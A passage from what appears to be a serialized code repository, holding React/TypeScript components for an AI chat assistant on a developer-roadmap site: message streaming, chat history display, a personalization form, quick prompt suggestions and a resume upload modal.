 [scrollableContainerRef],\n  );\n\n  const completeAIChat = async (\n    messages: RoadmapAIChatHistoryType[],\n    force: boolean = false,\n  ) => {\n    setIsStreamingMessage(true);\n\n    const response = await fetch(`${import.meta.env.PUBLIC_API_URL}/v1-chat`, {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/json',\n      },\n      credentials: 'include',\n      body: JSON.stringify({\n        chatHistoryId: defaultChatHistoryId,\n        messages,\n        force,\n      }),\n    });\n\n    if (!response.ok) {\n      const data = await response.json();\n\n      toast.error(data?.message || 'Something went wrong');\n      setAiChatHistory([...messages].slice(0, messages.length - 1));\n      setIsStreamingMessage(false);\n\n      if (data.status === 401) {\n        removeAuthToken();\n        window.location.reload();\n      }\n    }\n\n    const stream = response.body;\n    if (!stream) {\n      setIsStreamingMessage(false);\n      toast.error('Something went wrong');\n      return;\n    }\n\n    await readChatStream(stream, {\n      onMessage: async (content) => {\n        const jsx = await renderMessage(content, aiChatRenderer, {\n          isLoading: true,\n        });\n\n        flushSync(() => {\n          setStreamedMessage(jsx);\n        });\n        setShowScrollToBottomButton(canScrollToBottom());\n      },\n      onMessageEnd: async (content) => {\n        const jsx = await renderMessage(content, aiChatRenderer, {\n          isLoading: false,\n        });\n\n        const newMessages: RoadmapAIChatHistoryType[] = [\n          ...messages,\n          {\n            role: 'assistant',\n            content,\n            jsx,\n          },\n        ];\n\n        flushSync(() => {\n          setStreamedMessage(null);\n          setIsStreamingMessage(false);\n          setAiChatHistory(newMessages);\n        });\n\n        queryClient.invalidateQueries(aiLimitOptions());\n        queryClient.invalidateQueries({\n          predicate: (query) => {\n            return query.queryKey[0] === 'list-chat-history';\n          },\n        });\n      },\n      onDetails: (details) => {\n        const chatHistoryId = details?.chatHistoryId;\n        if (!chatHistoryId) {\n          return;\n        }\n\n        setDefaultChatHistoryId?.(chatHistoryId);\n      },\n    });\n\n    setIsStreamingMessage(false);\n  };\n\n  const { mutate: uploadResume, isPending: isUploading } = useMutation(\n    {\n      mutationFn: (formData: FormData) => {\n        return httpPost('/v1-upload-resume', formData);\n      },\n      onSuccess: () => {\n        toast.success('Resume uploaded successfully');\n        setIsUploadResumeModalOpen(false);\n        queryClient.invalidateQueries(userResumeOptions());\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to upload resume');\n      },\n      onMutate: () => {\n        setIsUploadResumeModalOpen(false);\n      },\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    const scrollableContainer = scrollableContainerRef.current;\n    if (!scrollableContainer) {\n      return;\n    }\n\n    const abortController = new AbortController();\n    let timeoutId: NodeJS.Timeout;\n    const debouncedHandleScroll = () => {\n      if (timeoutId) {\n        clearTimeout(timeoutId);\n      }\n\n      timeoutId = setTimeout(() => {\n        setShowScrollToBottomButton(canScrollToBottom());\n      }, 100);\n    };\n\n    debouncedHandleScroll();\n    scrollableContainer.addEventListener('scroll', debouncedHandleScroll, {\n      signal: abortController.signal,\n    });\n\n    return () => {\n      if (timeoutId) {\n        clearTimeout(timeoutId);\n      }\n      abortController.abort();\n    };\n  }, [aiChatHistory]);\n\n  const handleRegenerate = useCallback(\n    (index: number) => {\n      if (isLimitExceeded) {\n        if (!isPaidUser) {\n          onUpgrade?.();\n        }\n\n        toast.error('Limit reached for today. Please wait until tomorrow.');\n        return;\n      }\n\n      const filteredChatHistory = aiChatHistory.slice(0, index);\n\n      flushSync(() => {\n        setAiChatHistory(filteredChatHistory);\n      });\n      scrollToBottom();\n      completeAIChat(filteredChatHistory, true);\n    },\n    [aiChatHistory],\n  );\n\n  const handleDelete = useCallback(\n    (index: number) => {\n      const filteredChatHistory = aiChatHistory.filter((_, i) => i !== index);\n      setAiChatHistory(filteredChatHistory);\n      deleteChatMessage(filteredChatHistory);\n    },\n    [aiChatHistory],\n  );\n\n  const shouldShowQuickHelpPrompts =\n    message.length === 0 && aiChatHistory.length === 0;\n  const isDataLoading =\n    isLoading ||\n    isBillingDetailsLoading ||\n    isUserPersonaLoading ||\n    isUserResumeLoading;\n\n  useEffect(() => {\n    scrollToBottom('instant');\n  }, []);\n\n  const shouldShowUpgradeBanner = !isPaidUser && aiChatHistory.length > 0;\n\n  return (\n    <div className=\"ai-chat relative flex grow flex-col gap-2 bg-gray-100\">\n      <div\n        className={cn(\n          'scrollbar-none absolute inset-0 overflow-y-auto pb-55',\n          shouldShowUpgradeBanner ? 'pb-60' : 'pb-55',\n        )}\n        ref={scrollableContainerRef}\n      >\n        <div className=\"relative mx-auto w-full max-w-3xl grow px-4\">\n          {shouldShowQuickHelpPrompts && (\n            <QuickHelpPrompts\n              onQuestionClick={(question) => {\n                textareaMessageRef.current?.focus();\n                setMessage(question);\n              }}\n            />\n          )}\n          {!shouldShowQuickHelpPrompts && (\n            <ChatHistory\n              chatHistory={aiChatHistory}\n              isStreamingMessage={isStreamingMessage}\n              streamedMessage={streamedMessage}\n              onDelete={handleDelete}\n              onRegenerate={handleRegenerate}\n            />\n          )}\n        </div>\n      </div>\n\n      {isPersonalizedResponseFormOpen && (\n        <PersonalizedResponseForm\n          defaultValues={userPersona?.chatPreferences ?? undefined}\n          onClose={() => setIsPersonalizedResponseFormOpen(false)}\n        />\n      )}\n\n      {isUploadResumeModalOpen && (\n        <UploadResumeModal\n          onClose={() => setIsUploadResumeModalOpen(false)}\n          userResume={userResume}\n          isUploading={isUploading}\n          uploadResume={uploadResume}\n        />\n      )}\n\n      <div\n        className=\"pointer-events-none absolute right-0 bottom-0 left-0 mx-auto w-full max-w-3xl px-4\"\n        ref={chatContainerRef}\n      >\n        <div className=\"mb-2 flex items-center justify-between gap-2\">\n          <div className=\"flex items-center gap-2\">\n            <QuickActionButton\n              icon={PersonStandingIcon}\n              label=\"Personalize\"\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                setIsPersonalizedResponseFormOpen(true);\n              }}\n            />\n            <QuickActionButton\n              icon={FileUpIcon}\n              label={isUploading ? 'Processing...' : 'Upload Resume'}\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                setIsUploadResumeModalOpen(true);\n              }}\n              isLoading={isUploading}\n            />\n          </div>\n\n          <div className=\"flex items-center gap-2\">\n            {showScrollToBottomButton && (\n              <QuickActionButton\n                icon={ArrowDownIcon}\n                label=\"Scroll to Bottom\"\n                onClick={scrollToBottom}\n              />\n            )}\n            {aiChatHistory.length > 0 && !isPaidUser && (\n              <QuickActionButton\n                icon={TrashIcon}\n                label=\"Clear Chat\"\n                onClick={() => {\n                  setAiChatHistory([]);\n                  deleteChatMessage([]);\n                }}\n              />\n            )}\n          </div>\n        </div>\n\n        <form\n          className=\"pointer-events-auto relative flex flex-col gap-2 overflow-hidden rounded-lg rounded-b-none border border-b-0 border-gray-200 bg-white p-2.5\"\n          onSubmit={(e) => {\n            e.preventDefault();\n            if (isDataLoading) {\n              return;\n            }\n\n            handleChatSubmit();\n          }}\n        >\n          <AutogrowTextarea\n            ref={textareaMessageRef}\n            value={message}\n            onChange={(e) => setMessage(e.target.value)}\n            className=\"min-h-10 w-full resize-none bg-transparent text-sm focus:outline-none\"\n            placeholder=\"Ask me anything...\"\n            disabled={isStreamingMessage}\n            autoFocus\n            onKeyDown={(e) => {\n              if (e.key === 'Enter' && !e.shiftKey) {\n                if (isDataLoading) {\n                  return;\n                }\n\n                e.preventDefault();\n                handleChatSubmit();\n              }\n            }}\n          />\n\n          {isLimitExceeded && isLoggedIn() && !isDataLoading && (\n            <div className=\"absolute inset-0 z-10 flex items-center justify-center gap-2 bg-black text-white\">\n              <LockIcon\n                className=\"size-4 cursor-not-allowed\"\n                strokeWidth={2.5}\n              />\n              <p className=\"cursor-not-allowed\">\n                Limit reached for today\n                {isPaidUser ? '. Please wait until tomorrow.' : ''}\n              </p>\n              {!isPaidUser && (\n                <button\n                  type=\"button\"\n                  onClick={() => {\n                    onUpgrade?.();\n                  }}\n                  className=\"rounded-md bg-white px-2 py-1 text-xs font-medium text-black hover:bg-gray-300\"\n                >\n                  Upgrade for more\n                </button>\n              )}\n            </div>\n          )}\n\n          <div className=\"flex justify-end\">\n            <button\n              type=\"submit\"\n              className=\"flex size-8 shrink-0 items-center justify-center rounded-md border border-gray-200 disabled:cursor-not-allowed disabled:opacity-50\"\n              disabled={isLimitExceeded || isStreamingMessage || isDataLoading}\n            >\n              <SendIcon className=\"size-4\" />\n            </button>\n          </div>\n        </form>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChat/AIChatCouse.tsx",
    "content": "import { Book } from 'lucide-react';\n\ntype AIChatCourseType = {\n  keyword: string;\n  difficulty: string;\n};\n\nfunction parseAIChatCourse(content: string): AIChatCourseType | null {\n  const courseKeywordRegex = /<keyword>(.*?)<\\/keyword>/;\n  const courseKeyword = content.match(courseKeywordRegex)?.[1]?.trim();\n  if (!courseKeyword) {\n    return null;\n  }\n\n  const courseDifficultyRegex = /<difficulty>(.*?)<\\/difficulty>/;\n  const courseDifficulty = content.match(courseDifficultyRegex)?.[1]?.trim();\n  if (!courseDifficulty) {\n    return null;\n  }\n\n  return { keyword: courseKeyword, difficulty: courseDifficulty || 'beginner' };\n}\n\ntype AIChatCourseProps = {\n  content: string;\n};\n\nexport function AIChatCourse(props: AIChatCourseProps) {\n  const { content } = props;\n\n  const course = parseAIChatCourse(content);\n  if (!course) {\n    return null;\n  }\n\n  const courseSearchUrl = `/ai/course?term=${course?.keyword}&difficulty=${course?.difficulty}`;\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      <a\n        href={courseSearchUrl}\n        target=\"_blank\"\n        key={course?.keyword}\n        className=\"group flex min-w-[120px] items-center gap-2 rounded-lg border border-gray-200 bg-white px-2.5 py-1.5 text-left text-sm text-gray-700 transition-all hover:border-gray-400 hover:text-black active:bg-gray-100\"\n      >\n        <Book className=\"size-4 flex-shrink-0 text-gray-400\" />\n        {course?.keyword}\n      </a>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChat/ChatHistory.tsx",
    "content": "import { Fragment, memo } from 'react';\nimport { cn } from '../../lib/classname';\nimport {\n  CopyIcon,\n  CheckIcon,\n  TrashIcon,\n  type LucideIcon,\n  RotateCwIcon,\n} from 'lucide-react';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { Tooltip } from '../Tooltip';\nimport type { RoadmapAIChatHistoryType } from '../../hooks/use-roadmap-ai-chat';\n\ntype ChatHistoryProps = {\n  chatHistory: RoadmapAIChatHistoryType[];\n  onDelete?: (index: number) => void;\n  onRegenerate?: (index: number) => void;\n  isStreamingMessage: boolean;\n  streamedMessage: React.ReactNode;\n};\n\nexport const ChatHistory = memo((props: ChatHistoryProps) => {\n  const {\n    chatHistory,\n    onDelete,\n    isStreamingMessage,\n    streamedMessage,\n    onRegenerate,\n  } = props;\n\n  return (\n    <div className=\"flex grow flex-col\">\n      <div className=\"relative flex grow flex-col justify-end\">\n        <div className=\"flex grow flex-col justify-end gap-14 py-5\">\n          {chatHistory.map((chat, index) => {\n            return (\n              <Fragment key={`chat-${index}`}>\n                <AIChatCard\n                  {...chat}\n                  onDelete={() => {\n                    onDelete?.(index);\n                  }}\n                  onRegenerate={() => {\n                    onRegenerate?.(index);\n                  }}\n                />\n              </Fragment>\n            );\n          })}\n\n          {isStreamingMessage && !streamedMessage && (\n            <AIChatCard\n              role=\"assistant\"\n              content=\"\"\n              html=\"<p>Thinking...</p>\"\n              showActions={false}\n            />\n          )}\n\n          {streamedMessage && (\n            <AIChatCard\n              role=\"assistant\"\n              content=\"\"\n              jsx={streamedMessage}\n              showActions={false}\n            />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n});\n\ntype AIChatCardProps = RoadmapAIChatHistoryType & {\n  onDelete?: () => void;\n  onRegenerate?: () => void;\n  showActions?: boolean;\n};\n\nexport const AIChatCard = memo((props: AIChatCardProps) => {\n  const {\n    role,\n    content,\n    jsx,\n    html,\n    showActions = true,\n    onDelete,\n    onRegenerate,\n  } = props;\n  const { copyText, isCopied } = useCopyText();\n\n  return (\n    <div\n      className={cn(\n        'group/content relative flex w-full flex-col',\n        role === 'user' ? 'items-end' : 'items-start',\n      )}\n    >\n      <div\n        className={cn(\n          'flex max-w-full items-start gap-2.5 rounded-lg',\n          role === 'user' ? 'max-w-[70%] bg-gray-200 p-3' : 'w-full',\n        )}\n      >\n        {!!jsx && jsx}\n\n        {!!html && (\n          <div\n            className=\"course-content course-ai-content prose prose-sm overflow-hidden text-sm\"\n            dangerouslySetInnerHTML={{ __html: html }}\n          />\n        )}\n      </div>\n\n      {showActions && (\n        <div\n          className={cn(\n            'absolute -bottom-2 flex translate-y-full items-center gap-1',\n            role === 'user' ? 'right-0' : 'left-0',\n          )}\n        >\n          <ActionButton\n            icon={isCopied ? CheckIcon : CopyIcon}\n            onClick={() => copyText(content ?? '')}\n            tooltip={isCopied ? 'Copied' : 'Copy'}\n          />\n\n          {role === 'assistant' && onRegenerate && (\n            <ActionButton\n              icon={RotateCwIcon}\n              onClick={onRegenerate}\n              tooltip=\"Regenerate\"\n            />\n          )}\n\n          {onDelete && (\n            <ActionButton\n              icon={TrashIcon}\n              onClick={onDelete}\n              tooltip=\"Delete\"\n            />\n          )}\n        </div>\n      )}\n    </div>\n  );\n});\n\ntype ActionButtonProps = {\n  icon: LucideIcon;\n  tooltip?: string;\n  onClick: () => void;\n};\n\nfunction ActionButton(props: ActionButtonProps) {\n  const { icon: Icon, onClick, tooltip } = props;\n\n  return (\n    <div className=\"group relative\">\n      <button\n        className=\"flex size-8 items-center justify-center rounded-lg opacity-0 transition-opacity group-hover/content:opacity-100 hover:bg-gray-200\"\n        onClick={onClick}\n      >\n        <Icon className=\"size-4 stroke-[2.5]\" />\n      </button>\n\n      {tooltip && (\n        <Tooltip position=\"top-center\" additionalClass=\"-translate-y-1\">\n          {tooltip}\n        </Tooltip>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChat/PersonalizedResponseForm.tsx",
    "content": "import { Loader2Icon } from 'lucide-react';\nimport { MessageCircle } from 'lucide-react';\nimport { memo, useId, useRef, useState } from 'react';\nimport { Modal } from '../Modal';\nimport { cn } from '../../lib/classname';\nimport { SelectNative } from '../SelectNative';\nimport { useMutation } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { userPersonaOptions } from '../../queries/user-persona';\nimport { useToast } from '../../hooks/use-toast';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\n\nexport type ChatPreferencesFormData = {\n  expertise: string;\n  goal: string;\n  about: string;\n  specialInstructions?: string;\n};\n\ntype PersonalizedResponseFormProps = {\n  defaultValues?: ChatPreferencesFormData;\n  onClose: () => void;\n};\n\nexport const PersonalizedResponseForm = memo(\n  (props: PersonalizedResponseFormProps) => {\n    const { defaultValues, onClose } = props;\n    const toast = useToast();\n\n    const [expertise, setExpertise] = useState(defaultValues?.expertise ?? '');\n    const [about, setAbout] = useState(defaultValues?.about ?? '');\n    const [specialInstructions, setSpecialInstructions] = useState(\n      defaultValues?.specialInstructions ?? ''\n    );\n\n    const goalOptions = [\n      'Finding a job',\n      'Learning for fun',\n      'Building a side project',\n      'Switching careers',\n      'Getting a promotion',\n      'Filling knowledge gaps',\n      'Other',\n    ];\n\n    const getInitialGoalSelection = () => {\n      if (!defaultValues?.goal) {\n        return '';\n      }\n\n      for (const option of goalOptions.slice(0, -1)) {\n        if (defaultValues.goal.startsWith(option)) {\n          return option;\n        }\n      }\n\n      return 'Other';\n    };\n\n    const [selectedGoal, setSelectedGoal] = useState(getInitialGoalSelection());\n    const [goal, setGoal] = useState(defaultValues?.goal ?? '');\n\n    const expertiseFieldId = useId();\n    const goalFieldId = useId();\n    const goalSelectId = useId();\n    const aboutFieldId = useId();\n    const specialInstructionsFieldId = useId();\n\n    const goalRef = useRef<HTMLTextAreaElement>(null);\n\n    const handleGoalSelectionChange = (value: string) => {\n      setSelectedGoal(value);\n\n      if (value === 'Other') {\n        setGoal('');\n        setTimeout(() => {\n          goalRef.current?.focus();\n        }, 0);\n      } else {\n        setGoal(value);\n      }\n    };\n\n    const { mutate: setChatPreferences, isPending } = useMutation(\n      {\n        mutationFn: (data: ChatPreferencesFormData) => {\n          return httpPost('/v1-set-chat-preferences', data);\n        },\n        onSuccess: () => {\n          onClose();\n          queryClient.invalidateQueries(userPersonaOptions());\n        },\n        onError: (error) => {\n          toast.error(error?.message ?? 'Something went wrong');\n        },\n      },\n      queryClient\n    );\n\n    const handleSubmit = (e: React.FormEvent<HTMLFormElement>) => {\n      e.preventDefault();\n\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      setChatPreferences({\n        expertise,\n        goal,\n        about,\n        specialInstructions,\n      });\n    };\n\n    const hasFormCompleted = !!expertise && !!goal && !!about;\n\n    return (\n      <Modal onClose={onClose}>\n        <div className=\"p-4\">\n          <form onSubmit={handleSubmit} className={cn('space-y-8')}>\n            <div className=\"flex flex-col gap-3\">\n              <label\n                className=\"text-sm font-medium text-gray-700\"\n                htmlFor={expertiseFieldId}\n              >\n                Rate your Experience\n              </label>\n              <SelectNative\n                id={expertiseFieldId}\n                value={expertise}\n                defaultValue={expertise}\n                onChange={(e) => setExpertise(e.target.value)}\n                className=\"h-[40px] border-gray-300 text-sm focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n              >\n                <option value=\"\">Select your expertise</option>\n                {[\n                  'No experience (just starting out)',\n                  'Beginner (less than 1 year of experience)',\n                  'Intermediate (1-3 years of experience)',\n                  'Expert (3-5 years of experience)',\n                  'Master (5+ years of experience)',\n                ].map((expertise) => (\n                  <option key={expertise} value={expertise}>\n                    {expertise}\n                  </option>\n                ))}\n              </SelectNative>\n            </div>\n\n            <div className=\"flex flex-col gap-3\">\n              <label\n                className=\"text-sm font-medium text-gray-700\"\n                htmlFor={goalSelectId}\n              >\n                What is your goal?\n              </label>\n\n              <SelectNative\n                id={goalSelectId}\n                value={selectedGoal}\n                onChange={(e) => handleGoalSelectionChange(e.target.value)}\n                className=\"h-[40px] border-gray-300 text-sm focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n              >\n                <option value=\"\">Select your goal</option>\n                {goalOptions.map((goalOption) => (\n                  <option key={goalOption} value={goalOption}>\n                    {goalOption}\n                  </option>\n                ))}\n              </SelectNative>\n\n              {selectedGoal === 'Other' && (\n                <textarea\n                  ref={goalRef}\n                  id={goalFieldId}\n                  className=\"block min-h-24 w-full resize-none rounded-lg border border-gray-300 bg-white px-4 py-3 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n                  placeholder=\"e.g. need to find a job as soon as possible\"\n                  value={goal}\n                  onChange={(e) => setGoal(e.target.value)}\n                />\n              )}\n            </div>\n\n            <div className=\"flex flex-col gap-3\">\n              <label\n                className=\"text-sm font-medium text-gray-700\"\n                htmlFor={aboutFieldId}\n              >\n                Tell us more about yourself\n              </label>\n\n              <textarea\n                id={aboutFieldId}\n                className=\"block min-h-24 w-full resize-none rounded-lg border border-gray-300 bg-white px-4 py-3 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n                placeholder=\"e.g. I'm a software engineer with 5 years of experience\"\n                value={about}\n                onChange={(e) => setAbout(e.target.value)}\n              />\n            </div>\n\n            <div className=\"flex flex-col gap-3\">\n              <label\n                className=\"text-sm font-medium text-gray-700\"\n                htmlFor={specialInstructionsFieldId}\n              >\n                Special Instructions\n              </label>\n\n              <textarea\n                id={specialInstructionsFieldId}\n                className=\"block min-h-24 w-full resize-none rounded-lg border border-gray-300 bg-white px-4 py-3 text-sm outline-none placeholder:text-gray-400 focus:border-gray-500 focus:ring-1 focus:ring-gray-500\"\n                placeholder=\"e.g. Prefer concise responses with code examples\"\n                value={specialInstructions}\n                onChange={(e) => setSpecialInstructions(e.target.value)}\n              />\n            </div>\n\n            <button\n              disabled={!hasFormCompleted || isPending}\n              type=\"submit\"\n              className=\"mt-6 flex h-11 w-full items-center justify-center gap-2 rounded-lg bg-black px-6 py-2 text-sm text-white transition-all hover:bg-gray-900 disabled:pointer-events-none disabled:opacity-50\"\n            >\n              {isPending ? (\n                <Loader2Icon className=\"size-4 animate-spin stroke-[2.5]\" />\n              ) : (\n                <>\n                  <MessageCircle className=\"size-4\" />\n                  {defaultValues ? 'Update Preferences' : 'Set Preferences'}\n                </>\n              )}\n            </button>\n          </form>\n        </div>\n      </Modal>\n    );\n  }\n);\n"
  },
  {
    "path": "src/components/AIChat/QuickActionButton.tsx",
    "content": "import { Loader2Icon, type LucideIcon } from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ntype QuickActionButtonProps = {\n  icon?: LucideIcon;\n  label?: string;\n  onClick?: () => void;\n  className?: string;\n  isLoading?: boolean;\n};\n\nexport function QuickActionButton(props: QuickActionButtonProps) {\n  const { icon: Icon, label, onClick, className, isLoading } = props;\n\n  return (\n    <button\n      className={cn(\n        'pointer-events-auto flex shrink-0 cursor-pointer items-center gap-2 rounded-lg border border-gray-200 bg-white px-2 py-1.5 text-sm text-gray-500 hover:bg-gray-100 hover:text-black disabled:cursor-not-allowed disabled:opacity-50',\n        className,\n      )}\n      onClick={onClick}\n      disabled={isLoading}\n    >\n      {Icon && !isLoading && <Icon className=\"size-4\" />}\n      {isLoading && Icon && <Loader2Icon className=\"size-4 animate-spin\" />}\n      <span className=\"hidden lg:block\">{label}</span>\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChat/QuickHelpPrompts.tsx",
    "content": "import { useState } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype QuickHelpPromptsProps = {\n  onQuestionClick: (question: string) => void;\n};\n\nexport function QuickHelpPrompts(props: QuickHelpPromptsProps) {\n  const { onQuestionClick } = props;\n\n  const [selectedActionIndex, setSelectedActionIndex] = useState<number>(0);\n\n  const quickActions = [\n    {\n      label: 'Help select a career path',\n      questions: [\n        'What roadmap should I pick?',\n        'What are the best jobs for me?',\n        'Recommend me a project based on my expertise',\n        'Recommend me a topic I can learn in an hour',\n      ],\n    },\n    {\n      label: 'Help me find a job',\n      questions: [\n        'How can I improve my resume?',\n        'How to make a tech resume?',\n        'What’s asked in coding interviews?',\n        'Where to find remote dev jobs?',\n      ],\n    },\n    {\n      label: 'Learn a Topic',\n      questions: [\n        'What is the best way to learn React?',\n        'What is an API?',\n        'How do databases work?',\n        'What is async in JS?',\n      ],\n    },\n    {\n      label: 'Test my Knowledge',\n      questions: [\n        'Quiz me on arrays.',\n        'Test my SQL skills.',\n        'Ask about REST basics.',\n        'Test my JS async knowledge.',\n      ],\n    },\n  ];\n\n  const selectedAction = quickActions[selectedActionIndex];\n\n  return (\n    <div className=\"mt-24\">\n      <h2 className=\"text-2xl font-semibold\">How can I help you?</h2>\n      <div className=\"mt-6 flex flex-wrap items-center gap-2\">\n        {quickActions.map((action, index) => (\n          <button\n            key={action.label}\n            className={cn(\n              'pointer-events-auto flex shrink-0 cursor-pointer items-center gap-2 rounded-lg border bg-white px-2 py-1.5 text-sm hover:bg-gray-100 hover:text-black',\n              selectedActionIndex === index\n                ? 'border-gray-300 bg-white text-black hover:bg-white'\n                : 'border-gray-300 bg-gray-100 text-gray-500 hover:border-gray-300 hover:bg-gray-50',\n            )}\n            onClick={() => setSelectedActionIndex(index)}\n          >\n            {action.label}\n          </button>\n        ))}\n      </div>\n\n      <div className=\"mt-6 divide-y divide-gray-200\">\n        {selectedAction.questions.map((question) => (\n          <button\n            type=\"button\"\n            key={question}\n            className=\"block w-full cursor-pointer p-2 text-left text-sm text-gray-500 hover:bg-gray-100 hover:text-black\"\n            onClick={() => onQuestionClick(question)}\n          >\n            {question}\n          </button>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIChat/UploadResumeModal.tsx",
    "content": "import { useCallback, useState, type FormEvent } from 'react';\nimport { Modal } from '../Modal';\nimport {\n  useDropzone,\n  type DropEvent,\n  type FileRejection,\n} from 'react-dropzone';\nimport { cn } from '../../lib/classname';\nimport { Loader2Icon, PlusIcon, XIcon } from 'lucide-react';\nimport { useMutation } from '@tanstack/react-query';\nimport { httpDelete } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { queryClient } from '../../stores/query-client';\nimport {\n  userResumeOptions,\n  type UserResumeDocument,\n} from '../../queries/user-resume';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\n\ntype OnDrop<T extends File = File> = (\n  acceptedFiles: T[],\n  fileRejections: FileRejection[],\n  event: DropEvent,\n) => void;\n\ntype UploadResumeModalProps = {\n  userResume?: UserResumeDocument;\n  onClose: () => void;\n  isUploading: boolean;\n  uploadResume: (formData: FormData) => void;\n};\n\nexport function UploadResumeModal(props: UploadResumeModalProps) {\n  const {\n    onClose,\n    userResume: defaultUserResume,\n    isUploading,\n    uploadResume,\n  } = props;\n\n  const toast = useToast();\n  const [showLinkedInExport, setShowLinkedInExport] = useState(false);\n  const [file, setFile] = useState<File | null>(\n    defaultUserResume?.resumeUrl\n      ? new File([], defaultUserResume.fileName, {\n          type: defaultUserResume.fileType,\n        })\n      : null,\n  );\n\n  const onDrop: OnDrop = useCallback((acceptedFiles) => {\n    setFile(acceptedFiles[0]);\n  }, []);\n\n  const { mutate: deleteResume, isPending: isDeletingResume } = useMutation(\n    {\n      mutationFn: async () => {\n        return httpDelete('/v1-delete-resume');\n      },\n      onSuccess: () => {\n        setFile(null);\n      },\n      onSettled: () => {\n        return queryClient.invalidateQueries(userResumeOptions());\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Failed to delete resume');\n      },\n    },\n    queryClient,\n  );\n\n  const { getRootProps, getInputProps, isDragActive } = useDropzone({\n    onDrop,\n    accept: {\n      'application/pdf': ['.pdf'],\n    },\n    maxFiles: 1,\n    maxSize: 5 * 1024 * 1024, // 5MB\n  });\n\n  const handleSubmit = (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (!file) {\n      return;\n    }\n\n    const formData = new FormData();\n    formData.append('resume', file);\n    uploadResume(formData);\n  };\n\n  const size = file?.size || defaultUserResume?.fileSize || 0;\n  const fileSize = (size / 1024 / 1024).toFixed(2);\n\n  return (\n    <Modal onClose={onClose}>\n      {showLinkedInExport ? (\n        <div className=\"p-4 pt-8\">\n          <h2 className=\"text-center text-2xl font-semibold text-black\">\n            How to export LinkedIn Resume\n          </h2>\n          <p className=\"mt-2 text-center text-sm text-balance text-gray-500\">\n            Visit your LinkedIn profile and export your resume as a PDF.\n          </p>\n          <img\n            src=\"https://assets.roadmap.sh/guest/linkedin-resume-export-w3x2f.png\"\n            alt=\"LinkedIn Resume Export\"\n            className=\"mt-6 min-h-[331px] rounded-xl object-cover\"\n          />\n          <button\n            onClick={() => setShowLinkedInExport(false)}\n            className=\"mt-4 flex w-full cursor-pointer items-center justify-center rounded-lg bg-black p-1 py-3 leading-none tracking-wide text-white transition-colors hover:bg-gray-900\"\n          >\n            Back to Upload\n          </button>\n        </div>\n      ) : (\n        <form\n          className=\"p-4 pt-8\"\n          encType=\"multipart/form-data\"\n          onSubmit={handleSubmit}\n        >\n          <h2 className=\"text-center text-2xl font-semibold text-black\">\n            Upload your resume\n          </h2>\n          <p className=\"mt-2 text-center text-sm text-balance text-gray-500\">\n            Upload your resume to get personalized responses to your questions.\n          </p>\n\n          {file && (\n            <div className=\"mt-8\">\n              <div className=\"flex items-center justify-between gap-2 rounded-lg border border-gray-200 p-4\">\n                <div>\n                  <h3 className=\"text-base font-medium text-black\">\n                    {file.name}\n                  </h3>\n                  <p className=\"mt-0.5 text-sm text-gray-500\">{fileSize} MB</p>\n                </div>\n\n                <button\n                  type=\"button\"\n                  className=\"flex size-8 items-center justify-center rounded-md text-gray-400 transition-colors hover:bg-red-50 hover:text-red-500\"\n                  disabled={isDeletingResume}\n                  onClick={() => deleteResume()}\n                >\n                  {isDeletingResume ? (\n                    <Loader2Icon className=\"size-4 animate-spin\" />\n                  ) : (\n                    <XIcon className=\"size-4\" />\n                  )}\n                </button>\n              </div>\n            </div>\n          )}\n\n          {!file && (\n            <>\n              <div\n                {...getRootProps({\n                  className: cn(\n                    'border border-dashed border-gray-300 min-h-60 flex items-center justify-center rounded-lg p-4 mt-8 bg-gray-50 cursor-pointer hover:border-black transition-colors',\n                    isDragActive && 'border-black bg-gray-100',\n                  ),\n                })}\n              >\n                <input {...getInputProps()} />\n                <div className=\"mx-auto flex max-w-2xs flex-col items-center text-center text-balance\">\n                  <PlusIcon className=\"size-5 text-gray-500\" />\n                  <p className=\"mt-4 text-gray-600\">\n                    Drag and drop your resume here or{' '}\n                    <span className=\"font-semibold text-black\">\n                      click to browse\n                    </span>\n                  </p>\n                </div>\n              </div>\n\n              <p className=\"mt-4 text-center text-xs text-gray-500\">\n                Only PDF files (max 2MB in size) are supported\n              </p>\n            </>\n          )}\n\n          {!defaultUserResume && (\n            <>\n              <button\n                type=\"submit\"\n                className=\"mt-4 flex w-full cursor-pointer items-center justify-center rounded-lg bg-black p-1 py-3 leading-none tracking-wide text-white transition-colors hover:bg-gray-900 disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50 data-[loading=true]:cursor-wait\"\n                data-loading={String(isUploading)}\n                disabled={!file || isUploading || isDeletingResume}\n              >\n                {isUploading ? (\n                  <Loader2Icon className=\"size-4 animate-spin\" />\n                ) : (\n                  'Upload Resume'\n                )}\n              